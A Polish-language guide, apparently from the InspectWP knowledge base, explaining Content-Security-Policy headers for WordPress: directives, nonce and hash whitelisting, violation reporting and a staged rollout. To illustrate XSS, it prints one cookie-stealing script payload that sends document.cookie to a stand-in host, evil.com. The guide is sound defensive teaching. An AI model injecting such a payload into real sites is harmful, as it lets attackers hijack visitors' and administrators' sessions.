Content-Security-Policy (CSP) to nagłówek odpowiedzi HTTP, który daje Ci precyzyjną kontrolę nad tym, jakie zasoby przeglądarka może ładować na Twojej stronie. Obejmuje to skrypty, arkusze stylów, obrazy, fonty, iframe'y i więcej. CSP jest powszechnie uznawany za jeden z najskuteczniejszych mechanizmów obronnych przed atakami Cross-Site Scripting (XSS), które wciąż należą do najczęstszych luk w sieci.
Jeśli prowadzisz witrynę WordPress, CSP jest szczególnie istotny, ponieważ witryny WordPress zwykle ładują zasoby z wielu różnych źródeł: własnego serwera, CDN, dostawców analityki, usług fontów, sieci reklamowych i wszystkiego, co wciągają Twoje wtyczki i motyw. Dzięki CSP definiujesz dokładnie, które z tych źródeł są dozwolone.
Jak działa atak Cross-Site Scripting (XSS)
Aby zrozumieć, dlaczego CSP ma znaczenie, warto zobaczyć, czemu zapobiega. Oto konkretny przykład, jak atak XSS może rozegrać się na witrynie WordPress:
Załóżmy, że Twoja strona ma formularz komentarzy, a sanityzacja komentarzy ma błąd (w rdzeniu WordPressa, wtyczce lub niestandardowej funkcji motywu). Atakujący wysyła komentarz z tym fragmentem:
<script>document.location='https://evil.com/steal?c='+document.cookie</script>Jeśli ten skrypt zostanie wyrenderowany na stronie bez poprawnego ucieczki, przeglądarka każdego odwiedzającego, który przegląda komentarz, wykona ten kod. Kod wysyła ich ciasteczka sesji na serwer atakującego. Z tymi ciasteczkami atakujący może zalogować się jako ofiara, w tym jako administrator, gdy admin przegląda komentarz.
Z poprawnie skonfigurowanym CSP ten atak się nie powiedzie. Przeglądarka sprawdza skrypt względem polityki i stwierdza, że inline scripty nie są dozwolone (chyba że wyraźnie dodane do whitelisty). Skrypt zostaje zablokowany, a przeglądarka rejestruje naruszenie zamiast wykonać kod.
Składnia nagłówka CSP i typowe dyrektywy
Nagłówek CSP składa się z dyrektyw, gdzie każda określa, jakie źródła są dozwolone dla danego typu zasobu. Oto przykład:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.comOmówmy najważniejsze dyrektywy:
default-src: polityka awaryjna dla każdego typu zasobu, który nie ma własnej dyrektywy. Ustawieniedefault-src 'self'oznacza, że domyślnie dozwolone są tylko zasoby z Twojej domeny.script-src: kontroluje, jakie źródła JavaScript są dozwolone. To najbardziej krytyczna pod względem bezpieczeństwa dyrektywa, ponieważ skrypty mają pełny dostęp do DOM-u i ciasteczek strony.style-src: kontroluje źródła CSS. W witrynach WordPress często wymaga'unsafe-inline', ponieważ wiele wtyczek i motywów wstrzykuje style inline.img-src: kontroluje źródła obrazów. Wartośćdata:pozwala na inline obrazy base64, których używają niektóre wtyczki.font-src: kontroluje, skąd mogą być ładowane fonty. Jeśli używasz Google Fonts, musisz dodać do whitelistyhttps://fonts.gstatic.com.connect-src: kontroluje, jakie adresy URL mogą być osiągane przez AJAX, Fetch lub WebSocket. Istotne dla witryn używających REST API lub usług zewnętrznych.frame-src: kontroluje, jakie origins mogą być osadzane w iframe'ach. Istotne, jeśli osadzasz filmy YouTube, Google Maps lub inne widżety stron trzecich.frame-ancestors: kontroluje, jakie witryny mogą osadzać Twoją stronę w iframe. To odpowiednik X-Frame-Options w CSP (zobacz KB-3).base-uri: ogranicza, jakie URL mogą być używane w elemencie<base>. Ustawienie na'self'uniemożliwia atakującym zmianę bazowego URL strony.form-action: ogranicza, gdzie formularze na stronie mogą wysyłać dane. Może to zapobiec atakom phishingowym, w których atakujący zmienia docelowy URL formularza.
Whitelistowanie skryptów przez nonce lub hash
Blokowanie wszystkich inline scriptów jest idealnym podejściem, ale czasem inline scripty są niezbędne. CSP oferuje dwie bezpieczne alternatywy dla używania 'unsafe-inline':
Whitelistowanie oparte na nonce działa przez generowanie unikalnego losowego tokenu przy każdym wczytaniu strony. Dodajesz ten nonce zarówno do nagłówka CSP, jak i do tagów script:
Content-Security-Policy: script-src 'nonce-abc123random'<script nonce="abc123random">
// Ten skrypt zostanie wykonany, ponieważ nonce się zgadza
</script>Nonce musi być inny przy każdym wczytaniu strony. Atakujący wstrzykujący skrypt nie może znać aktualnego nonce, więc jego skrypt zostanie zablokowany. To podejście działa dobrze, gdy kontrolujesz wyjście HTML i możesz dynamicznie dodawać nonce.
Whitelistowanie oparte na hashu używa kryptograficznego hashu zawartości skryptu:
Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='Przeglądarka oblicza hash każdego inline skryptu i porównuje go z dozwolonymi. To przydatne dla statycznych inline scriptów, które nie zmieniają się między wczytaniami stron.
Monitorowanie z dyrektywami raportowania CSP
CSP zawiera wbudowaną funkcję raportowania, która pozwala monitorować naruszenia bez psucia strony:
Dyrektywa report-uri (starsza, nadal szeroko wspierana) wysyła raporty naruszeń do określonego punktu końcowego:
Content-Security-Policy: default-src 'self'; report-uri /csp-report-endpointNowsza dyrektywa report-to działa z Reporting API i oferuje większą elastyczność:
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://twojastrona.pl/csp-reports"}]}Różne usługi zewnętrzne, takie jak Report URI, Sentry i Datadog, mogą zbierać i wizualizować raporty CSP, co znacznie pomaga przy wdrażaniu nowej polityki.
Testowanie z Content-Security-Policy-Report-Only
Tutaj prawie każdy powinien zacząć. Nagłówek Content-Security-Policy-Report-Only zachowuje się dokładnie jak zwykły nagłówek CSP, ale zamiast blokować naruszenia, tylko je raportuje. Nic faktycznie nie jest blokowane; przeglądarka rejestruje tylko to, co byłoby zablokowane.
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report-endpointDzięki temu widzisz dokładnie, jakie zasoby na Twojej stronie zostałyby dotknięte polityką CSP, zanim ją wymusisz. Możesz przeglądać powiadomienia o naruszeniach CSP w konsoli deweloperskiej przeglądarki lub zbierać ustrukturyzowane raporty przez punkty końcowe raportowania.
Dlaczego CSP jest trudny w witrynach WordPress
WordPress i CSP mają skomplikowaną relację. Kluczowym wyzwaniem jest to, że WordPress i jego ekosystem zostały zaprojektowane, zanim istniał CSP, a wiele typowych wzorców koliduje ze ścisłymi politykami CSP:
- Inline scripty: rdzeń WordPressa, WooCommerce i wiele popularnych wtyczek wstrzykuje inline JavaScript. Ścisła polityka
script-srcbez'unsafe-inline'je zepsuje. - Inline style: wiele wtyczek i builderów stron (Elementor, Divi, WPBakery) generuje inline CSS. Customizer również wstrzykuje style inline. Często zmusza Cię to do użycia
'unsafe-inline'dlastyle-src. - Użycie eval(): niektóre wtyczki używają
eval()lubnew Function(), co wymaga'unsafe-eval'wscript-src. To znacznie osłabia ochronę. - Zasoby stron trzecich: skrypty analityczne (Google Analytics, Matomo), fonty (Google Fonts), CDN, osadzenia mediów społecznościowych i skrypty reklamowe muszą być wyraźnie na whitelist.
- Aktualizacje wtyczek: aktualizacja wtyczki może nagle ładować zasoby z nowej domeny i bez ostrzeżenia złamać Twój CSP.
W praktyce większość właścicieli stron kończy z polityką, która zezwala na 'unsafe-inline' dla stylów, ale jak najbardziej ogranicza skrypty i inne zasoby. To rozsądny kompromis, który nadal zapewnia znaczącą ochronę.
Praktyczne kroki dodawania CSP do WordPressa
Oto sprawdzone w praktyce podejście krok po kroku:
- Zacznij od
Content-Security-Policy-Report-Onlyustawionego nadefault-src 'self'i punktu końcowego raportowania. - Przejrzyj swoją witrynę dokładnie i przeanalizuj raporty naruszeń. Zapisz każdy zablokowany zasób.
- Dodawaj potrzebne domeny źródłowe pojedynczo do dyrektyw polityki.
- Przetestuj całą krytyczną funkcjonalność: logowanie, kasę (jeśli WooCommerce), formularze i panel administratora.
- Gdy polityka report-only nie pokazuje naruszeń przy normalnym użytkowaniu, przełącz się na wymuszający nagłówek
Content-Security-Policy. - Utrzymuj punkt końcowy raportowania aktywny nawet po wymuszeniu, aby zauważać nowe naruszenia spowodowane aktualizacjami wtyczek lub zmianami treści.
Co sprawdza InspectWP
InspectWP sprawdza, czy Twoja witryna wysyła nagłówek Content-Security-Policy. Jeśli go brakuje, raport sygnalizuje, że Twoja strona nie ma ochrony CSP przed XSS i innymi atakami iniekcji. Jeśli polityka jest obecna, InspectWP pokazuje pełny ciąg polityki, abyś mógł go ocenić. Pamiętaj, że nagłówek CSP ze zbyt liberalnymi dyrektywami (takimi jak default-src * lub script-src 'unsafe-inline' 'unsafe-eval') w praktyce zapewnia niewielką ochronę.